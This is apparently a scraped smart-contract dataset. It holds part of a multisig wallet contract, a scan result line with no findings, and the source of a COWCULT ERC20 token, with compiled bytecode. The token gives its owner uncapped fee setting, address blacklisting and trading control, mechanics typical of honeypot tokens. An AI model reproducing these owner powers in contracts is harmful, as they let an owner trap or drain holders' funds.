msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x606060405236156101015763ffffffff60e060020a600035041663025e7c278114610153578063173825d91461018257806320ea8d86146101a05780632f54bf6e146101b55780633411c81c146101e557806354741525146102185780637065cb4814610244578063784547a7146102625780638b51d13f146102895780639ace38c2146102ae578063a0e67e2b1461036b578063a8abe69a146103d6578063b5dc40c314610451578063b77bf600146104bf578063ba51a6df146104e1578063c01a8c84146104f6578063c64274741461050b578063d74f8edd14610580578063dc8452cd146105a2578063e20056e6146105c4578063ee22610b146105e8575b6101515b600034111561014e57604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b5b565b005b341561015b57fe5b6101666004356105fd565b60408051600160a060020a039092168252519081900360200190f35b341561018a57fe5b610151600160a060020a036004351661062f565b005b34156101a857fe5b6101516004356107ce565b005b34156101bd57fe5b6101d1600160a060020a03600435166108ab565b604080519115158252519081900360200190f35b34156101ed57fe5b6101d1600435600160a060020a03602435166108c0565b604080519115158252519081900360200190f35b341561022057fe5b610232600435151560243515156108e0565b60408051918252519081900360200190f35b341561024c57fe5b610151600160a060020a036004351661094f565b005b341561026a57fe5b6101d1600435610a74565b604080519115158252519081900360200190f35b341561029157fe5b610232600435610b08565b60408051918252519081900360200190f35b34156102b657fe5b6102c1600435610b87565b60408051600160a060020a03861681526020810185905282151560608201526080918101828152845460026000196101006001841615020190911604928201839052909160a0830190859080156103595780601f1061032e57610100808354040283529160200191610359565b820191906000526020600020905b81548152906001019060200180831161033c57829003601f168201915b50509550505050505060405180910390f35b341561037357fe5b61037b610bbb565b60408051602080825283518183015283519192839290830191858101910280838382156103c3575b8051825260208311156103c357601f1990920191602091820191016103a3565b5050509050019250505060405180910390f35b34156103de57fe5b61037b60043560243560443515156064351515610c24565b60408051602080825283518183015283519192839290830191858101910280838382156103c3575b8051825260208311156103c357601f1990920191602091820191016103a3565b5050509050019250505060405180910390f35b341561045957fe5b61037b600435610d59565b60408051602080825283518183015283519192839290830191858101910280838382156103c3575b8051825260208311156103c357601f1990920191602091820191016103a3565b5050509050019250505060405180910390f35b34156104c757fe5b610232610ee1565b60408051918252519081900360200190f35b34156104e957fe5b610151600435610ee7565b005b34156104fe57fe5b610151600435610f77565b005b341561051357fe5b604080516020600460443581810135601f8101849004840285018401909552848452610232948235600160a060020a031694602480359560649492939190920191819084018382808284375094965061106595505050505050565b60408051918252519081900360200190f35b341561058857fe5b610232611085565b60408051918252519081900360200190f35b34156105aa57fe5b61023261108a565b60408051918252519081900360200190f35b34156105cc57fe5b610151600160a060020a0360043581169060243516611090565b005b34156105f057fe5b610151600435611228565b005b600380548290811061060b57fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a03161415156106525760006000fd5b600160a060020a038216600090815260026020526040902054829060ff16151561067c5760006000fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107775782600160a060020a03166003838154811015156106c657fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a0316141561076b5760038054600019810190811061070757fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561073657fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550610777565b5b60019091019061069f565b60038054600019019061078a9082611476565b5060035460045411156107a3576003546107a390610ee7565b5b604051600160a060020a038416906000805160206115af83398151915290600090a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff1615156107f75760006000fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561082d5760006000fd5b600084815260208190526040902060030154849060ff161561084f5760006000fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109475783801561090d575060008181526020819052604090206003015460ff16155b806109315750828015610931575060008181526020819052604090206003015460ff165b5b1561093e576001820191505b5b6001016108e4565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109705760006000fd5b600160a060020a038116600090815260026020526040902054819060ff16156109995760006000fd5b81600160a060020a03811615156109b05760006000fd5b60038054905060010160045460328211806109ca57508181115b806109d3575080155b806109dc575081155b156109e75760006000fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a1f8382611476565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915560405190915060008051602061158f83398151915290600090a25b5b50505b505b505b50565b600080805b600354811015610b005760008481526001602052604081206003805491929184908110610aa257fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610ae4576001820191505b600454821415610af75760019250610b00565b5b600101610a79565b5b5050919050565b6000805b600354811015610b805760008381526001602052604081206003805491929184908110610b3557fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b77576001820191505b5b600101610b0c565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610bc36114ca565b6003805480602002602001604051908101604052809291908181526020018280548015610c1957602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610bfb575b505050505090505b90565b610c2c6114ca565b610c346114ca565b60006000600554604051805910610c485750595b908082528060200260200182016040525b50925060009150600090505b600554811015610ce257858015610c8e575060008181526020819052604090206003015460ff16155b80610cb25750848015610cb2575060008181526020819052604090206003015460ff165b5b15610cd957808383815181101515610cc757fe5b60209081029091010152600191909101905b5b600101610c65565b878703604051805910610cf25750595b908082528060200260200182016040525b5093508790505b86811015610d4d578281815181101515610d2057fe5b9060200190602002015184898303815181101515610d3a57fe5b602090810290910101525b600101610d0a565b5b505050949350505050565b610d616114ca565b610d696114ca565b6003546040516000918291805910610d7e5750595b908082528060200260200182016040525b50925060009150600090505b600354811015610e635760008581526001602052604081206003805491929184908110610dc457fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610e5a576003805482908110610e0d57fe5b906000526020600020900160005b9054906101000a9004600160a060020a03168383815181101515610e3b57fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610d9b565b81604051805910610e715750595b908082528060200260200182016040525b509350600090505b81811015610ed8578281815181101515610ea057fe5b906020019060200201518482815181101515610eb857fe5b600160a060020a039092166020928302909101909101525b600101610e8a565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f085760006000fd5b600354816032821180610f1a57508181115b80610f23575080155b80610f2c575081155b15610f375760006000fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610fa05760006000fd5b6000828152602081905260409020548290600160a060020a03161515610fc65760006000fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610ffb5760006000fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36108a185611228565b5b5b50505b505b5050565b6000611072848484611390565b905061107d81610f77565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a03161415156110b35760006000fd5b600160a060020a038316600090815260026020526040902054839060ff1615156110dd5760006000fd5b600160a060020a038316600090815260026020526040902054839060ff16156111065760006000fd5b600092505b6003548310156111ae5784600160a060020a031660038481548110151561112e57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111a2578360038481548110151561116d57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506111ae565b5b60019092019161110b565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190916000805160206115af83398151915291a2604051600160a060020a0385169060008051602061158f83398151915290600090a25b5b505b505b505050565b600081815260208190526040812060030154829060ff161561124a5760006000fd5b61125383610a74565b156107c7576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156113015780601f106112d657610100808354040283529160200191611301565b820191906000526020600020905b8154815290600101906020018083116112e457829003601f168201915b505091505060006040518083038185876187965a03f192505050156113505760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26107c7565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a03811615156113a95760006000fd5b60055460408051608081018252600160a060020a03888116825260208083018981528385018981526000606086018190528781528084529590952084518154600160a060020a0319169416939093178355516001830155925180519496509193909261141c9260028501929101906114ee565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a25b5b509392505050565b8154818355818115116107c7576000838152602090206107c791810190830161156d565b5b505050565b8154818355818115116107c7576000838152602090206107c791810190830161156d565b5b505050565b60408051602081019091526000815290565b60408051602081019091526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061152f57805160ff191683800117855561155c565b8280016001018555821561155c579182015b8281111561155c578251825591602001919060010190611541565b5b5061156992915061156d565b5090565b610c2191905b808211156115695760008155600101611573565b5090565b905600f39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90a165627a7a723058208f3374a6707b77e7966a2dbb66053b42f1feb8534d864d1ae8c8e8f5e42475dc0029
{"success": true, "error": null, "results": {}}
493
0x2b2fc8fdd534872fb0ad6d0993edf2fb83d5c489
/** *Submitted for verification at Etherscan.io on 2022-03-30 */ //https://t.me/cowcult // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract COWCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "COWCULT"; string private constant _symbol = "COWCULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610542578063dd62ed3e14610562578063ea1644d5146105a8578063f2fde38b146105c857600080fd5b8063a2a957bb146104bd578063a9059cbb146104dd578063bfd79284146104fd578063c3c8cd801461052d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104675780638f9a55c01461048757806395d89b411461020957806398a5c3151461049d57600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638203f5fe146104345780638da5cb5b1461044957600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101b65780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024857600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a3e565b6105e8565b005b34801561021557600080fd5b50604080518082018252600781526610d3d5d0d5531560ca1b6020820152905161023f9190611b03565b60405180910390f35b34801561025457600080fd5b50610268610263366004611b58565b610687565b604051901515815260200161023f565b34801561028457600080fd5b50601354610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611b84565b61069e565b34801561030157600080fd5b506102c760175481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601454610298906001600160a01b031681565b34801561035357600080fd5b50610207610362366004611bc5565b610707565b34801561037357600080fd5b50610207610382366004611bf2565b610752565b34801561039357600080fd5b5061020761079a565b3480156103a857600080fd5b506102c76103b7366004611bc5565b6107c7565b3480156103c857600080fd5b506102076107e9565b3480156103dd57600080fd5b506102076103ec366004611c0d565b61085d565b3480156103fd57600080fd5b506102c760155481565b34801561041357600080fd5b506102c7610422366004611bc5565b60116020526000908152604090205481565b34801561044057600080fd5b5061020761088c565b34801561045557600080fd5b506000546001600160a01b0316610298565b34801561047357600080fd5b50610207610482366004611bf2565b610a44565b34801561049357600080fd5b506102c760165481565b3480156104a957600080fd5b506102076104b8366004611c0d565b610aa3565b3480156104c957600080fd5b506102076104d8366004611c26565b610ad2565b3480156104e957600080fd5b506102686104f8366004611b58565b610b10565b34801561050957600080fd5b50610268610518366004611bc5565b60106020526000908152604090205460ff1681565b34801561053957600080fd5b50610207610b1d565b34801561054e57600080fd5b5061020761055d366004611c58565b610b53565b34801561056e57600080fd5b506102c761057d366004611cdc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b457600080fd5b506102076105c3366004611c0d565b610bf4565b3480156105d457600080fd5b506102076105e3366004611bc5565b610c23565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161061290611d15565b60405180910390fd5b60005b81518110156106835760016010600084848151811061063f5761063f611d4a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067b81611d76565b91505061061e565b5050565b6000610694338484610d0d565b5060015b92915050565b60006106ab848484610e31565b6106fd84336106f885604051806060016040528060288152602001611e90602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112db565b610d0d565b5060019392505050565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161061290611d15565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061290611d15565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ba57600080fd5b476107c481611315565b50565b6001600160a01b0381166000908152600260205260408120546106989061134f565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161061290611d15565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b815260040161061290611d15565b601555565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161061290611d15565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561091b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093f9190611d91565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611d91565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a219190611d91565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b815260040161061290611d15565b601454600160a01b900460ff1615610a8557600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161061290611d15565b601755565b6000546001600160a01b03163314610afc5760405162461bcd60e51b815260040161061290611d15565b600893909355600a91909155600955600b55565b6000610694338484610e31565b6012546001600160a01b0316336001600160a01b031614610b3d57600080fd5b6000610b48306107c7565b90506107c4816113d3565b6000546001600160a01b03163314610b7d5760405162461bcd60e51b815260040161061290611d15565b60005b82811015610bee578160056000868685818110610b9f57610b9f611d4a565b9050602002016020810190610bb49190611bc5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be681611d76565b915050610b80565b50505050565b6000546001600160a01b03163314610c1e5760405162461bcd60e51b815260040161061290611d15565b601655565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b815260040161061290611d15565b6001600160a01b038116610cb25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610612565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d2074